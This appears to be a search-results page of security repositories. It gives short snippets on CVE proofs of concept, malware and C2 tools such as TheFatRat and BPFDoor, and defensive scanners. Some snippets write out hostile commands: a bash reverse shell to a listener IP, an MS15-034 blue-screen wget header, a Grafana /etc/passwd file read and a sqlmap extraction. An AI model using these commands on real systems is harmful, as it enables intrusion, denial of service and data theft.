45820 matches found
CVE-2019-0230
CVE-2019-0230 CVE-2019-0230 利用与 POC...
watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882
watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 的检测工件生成器 技术细节请参阅我们的博客文章 实际检测演示 python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target http://192.168.1.22:8000 --lhost...
should-i-trust
should-i-trust Resumen should-i-trust es una herramienta para evaluar señales OSINT de un dominio. Requisitos should-i-trust requiere claves API de las siguientes fuentes: Censys.io - Gratis para las primeras 250 consultas al mes VirusTotal - Gratuito GrayHatWarFare - Gratuito con resultados...
should-i-trust
should-i-trust Summary should-i-trust is a tool to evaluate OSINT signals for a domain. Requirements should-i-trust requires API keys from the following sources: Censys.io - Free for for first 250/quries/month VirusTotal - Free GrayHatWarFare - Free with limited results Use Case You're part of a...
tp-link-decrypt
注意：截至 2025 年 10 月 5 日，此项目现已弃用。 Nate Robbins 已善意接手并添加了交换机解密功能 - https://github.com/robbins/tp-link-decrypt ====================================================================================================== 如果你觉得这个工具好用，欢迎通过 [email protected] 或 GitHub 告诉我 : 1.（可选）运行 ./preinstall.sh 以满足依赖项 2...
DockSec
!CREATEDhttps://img.shields.io/badge/created-feb,%202025-blue?style=for-the-b...
systeminformer
System Informer A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware. Brought to you by Winsider Seminars & Solutions, Inc...
systeminformer
System Informer 一款免费、强大、多功能的工具，可帮助您监控系统资源、调试软件并检测恶意软件。 由 Winsider Seminars & Solutions, Inc. 提供。...
CVE-2022-31300
CVE-2022-31300 Haraj Script 3.7 - DM部分认证后存储型XSS Exploit标题：Haraj Script 3.7 - 认证后存储型XSS 日期：2022-06-13 CVE编号：CVE-2022-31300 漏洞利用作者：Abdulaziz Saad @b4zb0z 厂商主页：https://angtech.org/ 软件链接：https://angtech.org/product/view/3 版本：3.7 测试环境：LAMP, Ubuntu 利用方法： 通过Burpsuite或DevTools操作并重复发送请求，利用JS载荷攻击DM消息部分。...
CocoaPods-RCE_CVE-2024-38366
CocoaPods-RCE 本仓库更深入地剖析了在研究与破解 CocoaPods 包管理器过程中所发现的 RCE 漏洞背后的研究过程与思路。 研究发布博文可在此阅读： https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods 研究背景 CocoaPods Trunk Server 充当 CocoaPods 的集中式存储库和分发平台，CocoaPods 是 Apple 生态系统中（尤其是 iOS 和 macOS 开发中）使用的重要库和框架。其主要目的是促进这些开源资源的无缝共享与管理。...
CVE-2022-31299
CVE-2022-31299 Haraj Script 3.7 - 反射型XSS 漏洞利用标题: Haraj Script 3.7 - 反射型XSS 日期: 2022-06-13 CVE: CVE-2022-31299 漏洞利用作者: Abdulaziz Saad @b4zb0z 厂商主页: https://angtech.org/ 软件链接: https://angtech.org/product/view/3 版本: 3.7 测试环境: LAMP, Ubuntu 漏洞利用 :...
Apache-spark-CVE-2022-33891
Apache-spark-CVE-2022-33891 Apache Spark RCE - CVE-2022-33891 PoC Síguenos Vulnmachines Platform YouTube Twitter Facebook LinkedIn...
aegis
Aegis 内核模式进程保护驱动程序，使用 ObRegisterCallbacks 从句柄中剥离内存访问权限。基础实现拦截句柄创建，并从未经授权的访问尝试中移除 PROCESSVMREAD/WRITE/OPERATION。 注意： 如果 GIF 没有动画，请在 Imgur 上直接查看 概述 驱动在高度 321123 注册 OB 回调，拦截 OBOPERATIONHANDLECREATE 和 OBOPERATIONHANDLEDUPLICATE 操作。当进程尝试打开受保护目标的句柄时，我们根据白名单（explorer.exe, csrss.exe, svchost.exe,...
CVE-2024-31317
CVE-2024-31317 前言 前两天看到JD的公众号发了篇CVE-2024-31317漏洞的分析，通篇看下来感觉还是比较有意思，且车机目前主流方案均为安卓系统且都在该漏洞的有限范围内，遂开始复现。...
modelscan
ModelScan：防范模型序列化攻击 机器学习（ML）模型在互联网上公开共享，并在团队内部和团队之间共享。基础模型的兴起导致公开的 ML 模型越来越多地被用于进一步的训练/微调。ML 模型越来越多地被用来做出关键决策，并为关键任务应用提供支持。 尽管如此，模型尚未像收件箱中的 PDF 文件那样受到严格的扫描。 这种情况需要改变，而合适的工具是第一步。 ModelScan 是 Protect AI 的一个开源项目，用于扫描模型以确定它们是否包含不安全的代码。它是第一个支持多种模型格式的模型扫描工具。ModelScan 目前支持：H5、Pickle 和 SavedModel...
Mr.Holmes
🔍 Mr.Holmes Mr.Holmes es una herramienta de recopilación de información OSINT. Su propósito principal es obtener información sobre dominios, nombres de usuario y números de teléfono con la ayuda de fuentes públicas disponibles en Internet. También utiliza el ataque de Google Dorks para...
aircrack-ng
Aircrack-ng 徽章 GitHub CI 其他 !Codespellhttps://github.com/aircrack-...
aircrack-ng
Aircrack-ng Badges GitHub CI Others !Codespellhttps://github.com/a...
CVE-2023-31014_Lab
CVE-2023-31014 隐式 Intent 劫持实验 这是一个基于 NVIDIA GeForce NOW for Android 的 CVE-2023-31014 公开报告制作的教育用 Android 实验。不包含 NVIDIA 源代码、真实的 Action 字符串、真实的身份验证信息。 公开报告中确认的事实 目标：NVIDIA GeForce NOW Android 移动版/TV 应用 受影响版本：6.00.32705137 6.04.33108832 修复版本：6.05.33200069 分类：CWE-927，在敏感通信中使用隐式 Intent 脆弱结构：Game Launch...
CVE_2026_31694
CVE-2026-31694 被动扫描器 一个针对 CVE-2026-31694 的被动式 Linux 主机评估工具，该漏洞是 Linux 内核中 FUSE readdir 缓存的越界写入。 该扫描器评估运行中的内核、FUSE 暴露面、本地软件包元数据、内核源码证据、执行环境以及操作系统家族。当主机可能受影响时，它会生成针对所检测发行版量身定制的缓解指南。 作者： Aung Myat Thu w01f 目录 概述 漏洞摘要 安全模型 功能特性 要求 安装 使用方法 命令行选项 评估工作流 判定结果 退出代码 检测来源 发行版支持 缓解措施生成 容器与 WSL 行为 报告格式 自动化与集成...
Adobe-Flash-Exploits_17-18
Adobe Flash 漏洞利用 CVE-2015-3090, CVE-2015-3105, CVE-2015-5119 和 CVE-2015-5122 Python3 脚本 将针对 Adobe Flash 漏洞的 Metasploit 利用代码 CVE-2015-3090, CVE-2015-3105, CVE-2015-5119 和 CVE-2015-5122 转换为 Python3 脚本。 信息 此脚本将托管一个 Web 服务器，每次可以针对以下 Adobe Flash 漏洞之一进行利用： 1. CVE-2015-3090 2. CVE-2015-3105 3...
CVE-2022-47966
CVE-2022-47966 ManageEngine RCE 2022 This repo is part of the hgrab-framework Installation Install the app on the server user@domain: git clone https://github.com/sh4den/CVE-2022-47966.git user@domain: cd ./CVE-2022-47966/ user@domain: python3 main.py The list file must contain the targets server...
pike-agent
Pike 代理 pike-agent 记录并分析程序在 Linux 上的行为。它追踪程序的活动，将其索引到数据库中，并让您通过 LLM 代理在 TUI 中与之聊天。 提示词示例： 崩溃诊断：这个程序因总线错误崩溃了。发生了什么？ 竞态条件检测：这个程序创建临时文件的方式是否存在竞态条件？ 恶意软件分类：我在生产服务器上发现了这个进程。我该担心吗？ 参见 向 Pike 打个招呼！ 以了解介绍。 工作原理 pike-agent 使用 strace 记录程序执行的每个系统调用，然后将其全文索引到 SQLite 数据库中。LLM 代理通过工具调用查询该数据库，以回答您关于程序行为的问题。...
SELinux-Permissive-Only-CVE-2025-21479
SELinux-Permissive-Only-version-of-Cheese-aka-CVE-2025-21479 目前这只是 Cheese 漏洞利用（又称 CVE-2025-21479）的仅 SELinux 宽容版本，该漏洞影响了包括三星骁龙设备在内的许多设备上的 adreno kgsl。 部分代码取自以下仓库，我要感谢 zhuowei 最初启动了这个概念验证，也感谢 sarabpal-dev 保持着一个维护良好且活跃的仓库 https://github.com/zhuowei/cheese https://github.com/sarabpal-dev/cheese-cake...
deadair
deadair 检查已启用的 SIEM 检测是否仍具备所需的遥测数据。 它会报告缺失或过期的数据、摄取延迟以及模式不匹配。 本地运行 · 只读 · 无代理 · 不上传遥测数据 阅读技术文章 · 入选 Detection Engineering Weekly · 入选 tl;dr sec 341 一次性 Elastic 实验环境中的缺失字段和延迟事件。打开图片可查看带播放控件的简短录屏，或使用 make record-scan-lab 复现。 为什么选择 deadair 一条规则可能在所需数据消失后仍处于启用、已调度且无错误的状态。deadair...
astroid
ASTROID v 1.2 作者: Mascerano Bachir dev-labs 法律免责声明: 作者对该工具的任何不良使用概不负责，请记住这仅用于教育目的。 描述: 该工具使用 Metasploit 生成 Shellcode，通过 Avet 解码并编译为 EXE 文件 截图: 依赖项: 1 - meta sploit-framework 2 - xterm 3 - Wine 4 - MinGW EXE 5 - avet 下载/配置/使用: 1? - 从 GitHub 下载该工具 git clone https://github.com/M4sc3r4n0/astroid.git ...
AlanFramework
Alan 框架 Alan Framework 是一个在红队活动中有用的后渗透框架。 如果你觉得我的工具有用，请考虑赞助我。 ⚠⚠⚠ 免责声明 ⚠⚠⚠ 此类软件的创建一直引发争议。如果你想知道我为什么决定创建这个工具，那是因为我相信最终的学习体验是实现你所学的知识。在逆向工程过程中，许多小细节被忽略。渐渐地，这些细节阻碍了研究人员全面了解正在发生的事情。最后，我首先是一名程序员，我喜欢开发这类程序 😄 下载 下载 Alan C2 框架 显著特点 你可以直接在内存中运行你喜欢的工具 JavaScript 脚本执行（内存中，无需第三方依赖） 完全兼容的 SOCKS5 代理...
turkce-wordlist
本项目不包含任何电子邮件地址、姓名、电话号码等个人数据。密码仅用于学术目的列出。无法将密码与真实个人关联。 土耳其语词汇表 这是一项用于分析土耳其用户密码选择的研究。通过识别互联网泄露的电子邮件和密码数据中的土耳其语词汇来实现。 有关研究的详细信息，请阅读以下博客文章： https://utkusen.com/blog/rockyou-wordlistindeki-turkce-parolalarin-tespiti.html https://utkusen.com/blog/turkce-wordlist-calismasinda-ikinci-faz.html 如需贡献，请查看...
TheFatRat
TheFatRat 一个大规模漏洞利用工具 TheFatRat 是一款漏洞利用工具，它使用著名的载荷编译恶意软件，编译后的恶意软件可在 Linux、Windows、Mac 和 Android 上执行。TheFatRat 提供了一种简单的方法来创建后门和载荷，可以绕过大多数杀毒软件。 信息 此工具仅供教育目的，未经事先双方同意使用TheFatRat攻击目标是非法的。 开发者不承担任何责任，也不对因使用本程序造成的任何误用或损害负责。 功能特点！ 完全自动化 MSFvenom 和 Metasploit。 生成本地或远程监听器。 按操作系统类别轻松制作后门。 生成多种格式的载荷。...
TheFatRat
TheFatRat A Massive Exploiting Tool TheFatRat is an exploiting tool which compiles a malware with famous payload, and then the compiled maware can be executed on Linux , Windows , Mac and Android. TheFatRat Provides An Easy way to create Backdoors and Payload which can bypass most anti-virus...
cve-2011-2523-vsftpd-validation-lab
CVE-2011-2523 — vsFTPd 2.3.4 Backdoor Validation Lab ⚠️ Authorized Lab Only — conducted in an isolated VirtualBox Host-Only network using Kali Linux and Metasploitable2. No unauthorized systems were scanned or accessed at any point. Overview CVE-2011-2523 is one of the most well-known supply chain...
CVE-2015-7808
CVE-2015-7808 vBulletin PreAuth 漏洞的 PoC 代码 用法： perl vbulletin.pl www.vbulletin.com/forum id...
CVE-2023-30253-PoC
CVE-2023-30253 CVE-2023-30253 PoC 描述 这是我对 CVE-2023-30253（Dolibarr 17.0.0 PHP 代码注入）的 PoC，当 CMS 网站插件（核心）被启用时，经过身份验证的攻击者可以通过绕过应用程序限制的 PHP 代码注入获得远程命令执行。 安装 克隆仓库： git clone https://github.com/g4nkd/CVE-2023-30253-PoC.git cd CVE-2023-30253-PoC pip install -r requirements.txt 使用 python3 exploit.py -h...
CVE-2024-3293-Poc
CVE-2024-3293-Poc rtMedia for WordPress、BuddyPress 和 bbPress get \buddypress-media\app\helper\RTMediaModel.php:61 RTMediaModel-getmedia \buddypress-media\app\helper\RTMediaModel.php:227 RTMediaQuery-populatemedia \buddypress-media\app\main\routers\query\RTMediaQuery.php:869...
BPFDoor-controller-source
BPFDoor-controller-source 近期BPFDoor控制器变种的源代码 Original: 2eacc8d91b9829b9606a7945fc5311fb5876cfb42ffccc1b91f61841237b04c1 Fixed: bpfdoorcontroller.c Original to fixed helper: formatfix.py 编译： $ apt install libssl-dev $ gcc -Wno-implicit-function-declaration bpfdoorcontroller.c -lssl -lcrypto -o...
elfpeek
elfpeek 适用于快速二进制分析的最小化 ELF 查看器，附带交互式 REPL 为什么？ 并非 readelf 或 objdump 的替代品。只是一个用于常见逆向工程问题的快速、专注的工具： 二进制布局是什么？ 哪个段或节包含此地址？ 该虚拟地址对应的文件偏移量是多少？ 此位置有哪些字节？ 哪个函数拥有此地址？ 同时也是一个可读的 ELF 解析 C 语言示例。优雅地处理 stripped 和仅段（segment-only）的二进制文件。 特性 交互式 REPL ，支持 readline（历史记录、行编辑） 动态彩色提示符 — 显示当前文件：elfpeek:ls 彩色十六进制转储 —...
CVE-2026-34621
CVE-2026-34621 : Adobe Acrobat 2026 原型污染与 JS 注入链 — 研究 PoC 概述 本仓库包含在分析 2026 年 Adobe Acrobat Reader 在野漏洞利用链期间开发的研究材料和概念验证代码，该漏洞利用链涉及： 原型污染 内部 JavaScript 注入 受信任工作流滥用 补丁对比 特权 JavaScript 执行 本研究的重点在于理解恶意 PDF 文档所使用的漏洞利用链，并对 Adobe 在多个补丁中引入的修复进行逆向工程。 本工作旨在用于： 漏洞研究 逆向工程 恶意软件分析 以及教育目的 已分析的漏洞 CVE-2026-34621...
CVE-2025-59528
CVE-2025-59528: Flowise CustomMCP 远程代码执行 PoC 一个针对 CVE-2025-59528 的 Go 语言概念验证，影响 Flowise 版本 示例 go run main.go http://target.com h3D9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"...
Pentest-Mapper
Pentest Mapper Pentest Mapper 是一个 Burp Suite 扩展，它将 Burp Suite 的请求记录与自定义应用程序测试清单集成在一起。该扩展提供了一个直接明了的应用程序渗透测试流程。扩展包含的功能允许用户映射应用程序的渗透测试流程，以便更好地分析应用程序及其漏洞。来自每个流程的 API 调用可以与功能或流程名称关联。扩展允许用户将每个流程或 API 映射到漏洞，并结合自定义清单。 安装 该扩展可在 Burp Suite BApp Store 中使用 文档 https://anof-cyber.github.io/Pentest-Mapper/ 功能摘要...
cve-2022-42889-text4shell
安装 Maven - maven-linux 1. Maven 安装以创建 fat jar mvn clean install 2. Docker 构建 docker build --tag=text4shell . 3. Docker 运行 docker run -p 80:8080 text4shell 4. 测试应用 http://localhost/text4shell/attack?search= 5. 可以通过传入字符串“$prefix:name”来执行攻击，其中 prefix 是上述查找：...
CobaltStrike-Toolset
CobaltStrike-Toolset Aggressor Script, Kit, Malleable C2 Profiles, External C2 and so on Kits ResourceKit ExploitKit Aggressor Script chromedumpmimikatz.cna nopowershell SMBexecpsh Further Resources nopowershell smbexecpsh.cna CVE-2018-15982...
MS15-034
MS15-034 MS15-034 POC "当前IIS服务器版本是存在已知漏洞（CVE-2015-1635, MS15-034）的易受攻击版本，利用该漏洞可能导致远程代码执行或引发蓝屏等攻击风险。 测试语法：wget --header=""Range: bytes=0-18446744073709551615"" 引发蓝屏攻击语法：wget --header=""Range: bytes=18-18446744073709551615"" ※ https://technet.microsoft.com/library/security/ms15-034 ※...
CVE-2021-43798
CVE-2021-43798 CVE-2021-43798 是一个高优先级漏洞（CVSS 7.5），可通过 Grafana 应用程序中已安装的插件导致任意文件读取。 该漏洞影响版本 8.0.0-beta1、8.0.0 至 8.3.0。 仅在 8.2.0 上测试过。该漏洞利用方式是创建一个易受攻击的插件列表，然后发送 HTTP 请求检查插件是否已安装。 在检查过程中，它会尝试获取 fileread 选项中指定的文件。 使用示例： python3 cve-2021-43798.py -t 127.0.0.1 -p 3000 -f /etc/passwd...
Microfinance-Management-System-V1.0-SQL-Injection-Vulnerability-Unauthenticated
小额金融管理系统 V1.0 SQL注入漏洞（未认证） 1. 描述： Microfinance Management System 在 /mims/updatecustomer.php 中通过参数 'customernumber' 允许 SQL 注入。利用此问题可让攻击者破坏应用程序、访问或修改数据，或利用底层数据库中的潜在漏洞。 2. 验证概念（PoC）： 在 Burpsuite 中拦截受影响页面中带有 'customernumber' 参数的请求，并将其保存为 poc.txt，然后运行 SQLmap 从数据库中提取数据： sqlmap.py -r poc.txt --dbms=mysq...
Spring4Shell-PoC-exploit
Spring4Shell - PoC CVE - 2022 - 22965 受影响版本： Spring Framework 版本 5.3.0 至 5.3.17、5.2.0 至 5.2.19 及更旧版本 Java JDK 9 Apache Tomcat 版本低于 10.0.20、9.0.62 和 8.5.78 作为传统 WAR 包部署、包含 spring-webmvc 或 spring-webflux 依赖并单独运行于独立 Servlet 容器中的应用程序受影响 描述 该问题可通过 classLoader 操作被放大 用于从请求参数填充对象（Request Mapping...
ServerSecurityAudit
🛡️ Windows Server 安全审计（NIS2 对齐） 📋 概述 一个模块化的 PowerShell 引擎，用于对 Windows Server 系统执行深度安全卫生审计。它提供可操作的风险评分，并映射到 NIS2 指令（第 21 条） 、MITRE ATT &CK 和 CIS Controls v8 ，生成适合取证分析的 HTML 和 JSON 输出结果。 该引擎执行 30 多项加权检查 ，涵盖 6 个战略领域和 12 项关键安全规范，确保实现全方位的纵深防御。 它完全离线运行，无外部依赖，也无回传通信功能。 ⚠️ 免责声明 尽管该脚本设计为非侵入式，但它会执行大量的...
CVE-2024-38063
CVE-2024-38063 - Vulnerabilidad de ejecución remota de código en TCP/IP de Windows. La ocurrencia de BSOD puede conducir a RCE, mientras que mi código solo causa BSOD. Estoy analizando continuamente el parche y realizando pruebas para lograr la ocurrencia de RCE en el sistema objetivo. Historial ...
ll-34
ll/34 ll/34 es un emulador a nivel de circuito para el PDP-11/34A 1976, que ejecuta una CPU virtual diseñada mediante ingeniería inversa a partir de los esquemas, el microcódigo y las capturas lógicas de un PDP-11/34A real. Fue diseñado originalmente como una réplica digital de la CPU real para...
CVE-2023-4634
CVE-2023-4634 WordPress Media-Library 插件 3.10 的 RCE 利用 CVE-2023-4634 信息 Patrowl 在 Wordpress 插件 Media-Librairy-Assistant 版本 3.10 中发现了一个未认证的 RCE 漏洞。 该利用并非易事，只需要按照下方说明进行简单设置即可。 完整的漏洞发现与利用可参考我们的博客：https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/ 利用前提 已安装 Wordpress（所有版本均可）...